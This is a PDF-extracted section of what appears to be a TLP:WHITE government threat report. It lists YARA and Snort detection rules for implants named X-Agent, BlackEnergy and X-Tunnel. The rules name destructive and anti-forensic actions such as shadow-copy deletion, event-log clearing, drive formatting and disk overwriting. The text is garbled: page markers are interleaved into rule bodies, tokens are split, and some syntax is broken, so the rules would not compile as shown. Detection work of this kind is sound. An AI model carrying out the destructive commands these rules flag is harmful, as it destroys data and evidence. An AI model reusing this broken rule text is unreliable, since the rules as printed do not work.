+Rule IMPLANT_2_v19
+strings:
+$obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6 74 B5 52 12 4D
+FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2 E3 7B 1E B8 09 3C AF 76 A1 38 56 76
+BB A0 63 B6 9E 5D 86 E4 EC B0 DC 89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19
+3E 1F B3 EE 9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11 BE 5E 27 94
+5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4
+E1 A9 A4 3B }
+$cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01 00 01 00 AF BD 26 C9
+04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E 0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA
+7A 75 8D 5F 9C 4B 67 32 45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC
+C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05 42 68 6A 3E 88 7F 38 97
+49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14 81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B
+E6 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and any of them
+Rule IMPLANT_2_v20
+strings:
+18 of 56
+18 of 56
+TLP:WHITE
+TLP:WHITE
+$func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75
+F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32
+0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8
+8B 45 D8 89 55 F8 72 A0 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Network Indicators for Implant 2
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS
+(msg:"Coreshell_HTTP_CALLOUT"; flow:established,to_server; content:"POST"; http_method;
+content:"User-Agent: MSIE "; fast_pattern:only; pcre:"/User-Agent: MSIE [89]\.0\x0d\x0a/D";
+pcre:"/^\/(?:check|update|store|info)\/$/I";)
+The following YARA rules detect X-Agent/CHOPSTICK, referred to as IMPLANT 3 with rule naming
+convention.
+IMPLANT 3 Rules:
+Rule IMPLANT_3_v1
+strings:
+$STR1 = ">process isn't exist<" ascii wide
+$STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii
+wide
+$STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101
+Firefox/20.0" ascii wide
+$STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide
+$STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14 02 8a 45 ?? 03 fa}
+19 of 56
+19 of 56
+TLP:WHITE
+TLP:WHITE
+condition:
+any of them
+Rule IMPLANT_3_v2
+strings:
+$base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74 02 FF D0 C7 45 ??
+83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8
+C7 45 ?? B1 D1 FF FF C7 45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45 ??
+33 35}
+$base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE 72 F1 5F 5E C3 8B
+FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B FF 55 8B EC 83 EC 10 A1 33 35 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and any of them
+Rule IMPLANT_3_v3
+strings:
+$STR1 = ".?AVAgentKernel@@"
+$STR2 = ".?AVIAgentModule@@"
+$STR3 = "AgentKernel"
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and any of them
+20 of 56
+20 of 56
+TLP:WHITE
+TLP:WHITE
+The following YARA rules detect BlackEnergy / Voodoo Bear, referred to as IMPLANT 4 with rule
+naming convention.
+IMPLANT 4 Rules:
+Rule IMPLANT_4_v1
+strings:
+$STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64 C6 45 DA 76 C6 45
+DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF 32 C6 45 E0 2EE9 ?? ?? ?? ??} $STR2 = {C7
+45 EC 5A 00 00 00 C7 45 E0 46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00}
+condition:
+(uint16(0)== 0x5A4D or uint16(0) == 0xCFD0 or uint16(0)== 0xC3D4 or uint32(0) == 0x46445025 or
+uint3
+2(1) == 0x6674725C) and 1 of them
+Rule IMPLANT_4_v2
+strings:
+$BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64}
+$BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32}
+$CONSTANT = {26 80 AC C8}
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+21 of 56
+21 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_4_v3
+strings:
+$a1 = "Adobe Flash Player Installer" wide nocase
+$a3 = "regedt32.exe" wide nocase
+$a4 = "WindowsSysUtility" wide nocase
+$a6 = "USB MDM Driver" wide nocase
+$b1 = {00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
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+28 0A 3F 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 04 00
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+72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35
+00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00
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+64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63
+22 of 56
+22 of 56
+TLP:WHITE
+TLP:WHITE
+00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00
+20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E
+00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00
+64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32
+00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00 72 00 46 00 69
+00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28 00 08 00 00 00 54 00 72 00 61 00 6E 00 73 00
+6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04}
+$b2 = {34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00
+02 00 3F 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 02 00 00
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+73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00 64 00 75 00 63
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+73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C
+00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72
+00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00
+56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54
+00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58}
+$b3 = {C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15
+28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00
+01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04
+02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00
+6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73
+00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00
+48 00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00
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+72 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00
+00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00
+23 of 56
+23 of 56
+TLP:WHITE
+TLP:WHITE
+78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29
+00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00
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+65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61
+00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}
+$b4 = {9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40
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+00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
+$b5 = {78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
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+00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00
+24 of 56
+24 of 56
+TLP:WHITE
+TLP:WHITE
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+00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
+$b6 = {D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
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+00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00
+25 of 56
+25 of 56
+TLP:WHITE
+TLP:WHITE
+01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00
+00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}
+condition:
+(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (((any of ($a*)) and
+(uint32(uint32(0x3C)+8) == 0x00000000)) or (for any of ($b*): ($ in
+(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)1)+20))..(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)1)+20))+uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+16)))))))
+Rule IMPLANT_4_v4
+strings:
+$DK_format1 = "/c format %c: /Y /Q" ascii
+$DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii
+$DK_physicaldrive = "PhysicalDrive%d" wide
+$DK_shutdown = "shutdown /r /t %d"
+$MZ = {4d 5a}
+condition:
+$MZ at 0 and all of ($DK*)
+Rule IMPLANT_4_v5
+strings:
+$GEN_HASH = {0F BE C9 C1 C0 07 33 C1}
+condition:
+26 of 56
+26 of 56
+TLP:WHITE
+TLP:WHITE
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_4_v6
+strings:
+$STR1 = "DispatchCommand" wide ascii
+$STR2 = "DispatchEvent" wide ascii
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_4_v7
+strings:
+$sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C}
+$sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C}
+$sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+$sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C}
+$sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C}
+$sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C}
+$sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+$sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C}
+$sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C}
+$sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C}
+27 of 56
+27 of 56
+TLP:WHITE
+TLP:WHITE
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and 3 of them
+Rule IMPLANT_4_v8
+strings:
+$f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4 33 C9 03 D0 4A 41
+3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66
+C7 04 03 5C 20 56 57 8D 3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50 68
+00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9 7C F8 5B 83 EC 04 8B D4 50
+6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF 57 18}
+$f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08 2B 45 10 89 45 E8
+33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00 8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC
+8B 42 04 83 E8 08 D1 E8 89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
+$f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF 66 8B 18 66 81 FB
+4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66 8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83
+EC 60 8B FC B9 60 00 00 00 F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68
+65 6C 54 FF 57}
+$a1 = {83 EC 04 60 E9 1E 01 00 00}
+condition:
+$a1 at entrypoint or any of ($f*)
+Rule IMPLANT_4_v9
+strings:
+$a = "wevtutil clear-log" ascii wide nocase
+$b = "vssadmin delete shadows" ascii wide nocase
+28 of 56
+28 of 56
+TLP:WHITE
+TLP:WHITE
+$c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase
+$d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase
+//$e = {57 55 33 c9 51 8b c3 99 57 52 50}
+$openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52 50 E8 ?? ?? ?? ?? 52 50
+E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89 44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52
+50 56 FF 15 ?? ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 }
+$f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0}
+condition:
+($a and $b) or $c or $d or ($openPhysicalDiskOverwriteWithZeros and $f)
+Rule IMPLANT_4_v10
+strings:
+$ = {A1B05C72}
+$ = {EB3D0384}
+$ = {6F45594E}
+$ = {71815A4E}
+$ = {D5B03E72}
+$ = {6B43594E}
+$ = {F572993D}
+$ = {665D9DC0}
+$ = {0BE7A75A}
+$ = {F37443C5}
+$ = {A2A474BB}
+$ = {97DEEC67}
+$ = {7E0CB078}
+29 of 56
+29 of 56
+TLP:WHITE
+TLP:WHITE
+$ = {9C9678BF}
+$ = {4A37A149}
+$ = {8667416B}
+$ = {0A375BA4}
+$ = {DC505A8D}
+$ = {02F1F808}
+$ = {2C819712}
+condition:
+uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550 and 15 of them
+Rule IMPLANT_4_v11
+strings:
+$ = "/c format %c: /Y /X /FS:NTFS"
+$ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
+$ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide
+".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf
+g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide
+$tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and 2 of them
+Rule IMPLANT_4_v12
+30 of 56
+30 of 56
+TLP:WHITE
+TLP:WHITE
+strings:
+$CMP1 = {81 ?? 4D 5A 00 00 }
+$SUB1 = {81 ?? 00 10 00 00}
+$CMP2 = {66 81 38 4D 5A}
+$SUB2 = {2D 00 10 00 00}
+$HAL = "HAL.dll"
+$OUT = {E6 64 E9 ?? ?? FF FF}
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and ($CMP1 or $CMP2) and ($SUB1 or $SUB2) and $OUT
+and $HAL
+Rule IMPLANT_4_v13
+strings:
+$XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+$XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+$XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00 66 83 7D ?C FF 75
+3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0 78 2?}
+$EXP1 = "DispatchCommand"
+$EXP2 = "DispatchEvent"
+$BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D C2 08 00 8B 4?
+0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?}
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+31 of 56
+31 of 56
+TLP:WHITE
+TLP:WHITE
+The following YARA rules detect X-Tunnel, referred to as IMPLANT 5 with rule naming convention.
+IMPLANT 5 Rules:
+Rule IMPLANT_5_v1
+strings:
+$hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00 70 00 00 00 2D 00 50 00
+69 00 00 00 2D 00 50 00 70 00 00 00}
+$UDPMSG1 = "error 2005 recv from server UDP - %d\x0a"
+$TPSMSG1 = "error 2004 send to TPS - %d\x0a"
+$TPSMSG2 = "error 2003 recv from TPS - %d\x0a"
+$UDPMSG2 = "error 2002 send to server UDP - %d\x0a"
+condition:
+any of them
+Rule IMPLANT_5_v2
+strings:
+$key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+$key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+$key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+$key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+$key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+$key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 }
+32 of 56
+32 of 56
+TLP:WHITE
+TLP:WHITE
+$key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 }
+$key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE }
+$key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A }
+$key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB }
+$key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D }
+$key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 }
+$key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 }
+$key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 }
+$key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 }
+$key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 }
+$key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 }
+$key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E }
+$key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B }
+$key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 }
+$key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 }
+$key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 }
+$key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 }
+$key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 }
+$key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 }
+$key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC }
+$key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB }
+$key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB }
+$key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 }
+$key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 }
+$key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B }
+$key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 }
+$key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 }
+$key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 }
+33 of 56
+33 of 56
+TLP:WHITE
+TLP:WHITE
+$key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D }
+$key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F }
+$key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 }
+$key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 }
+$key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 }
+$key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 }
+$key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 }
+$key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 }
+$key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 }
+$key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F }
+$key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 }
+$key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 }
+$key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C }
+$key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C }
+$key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C }
+$key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 }
+$key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 }
+$key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 }
+$key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 }
+$key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 }
+$key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB }
+$key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 }
+$key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 }
+$key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA }
+$key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC }
+$key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB }
+$key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA }
+$key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 }
+34 of 56
+34 of 56
+TLP:WHITE
+TLP:WHITE
+$key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 }
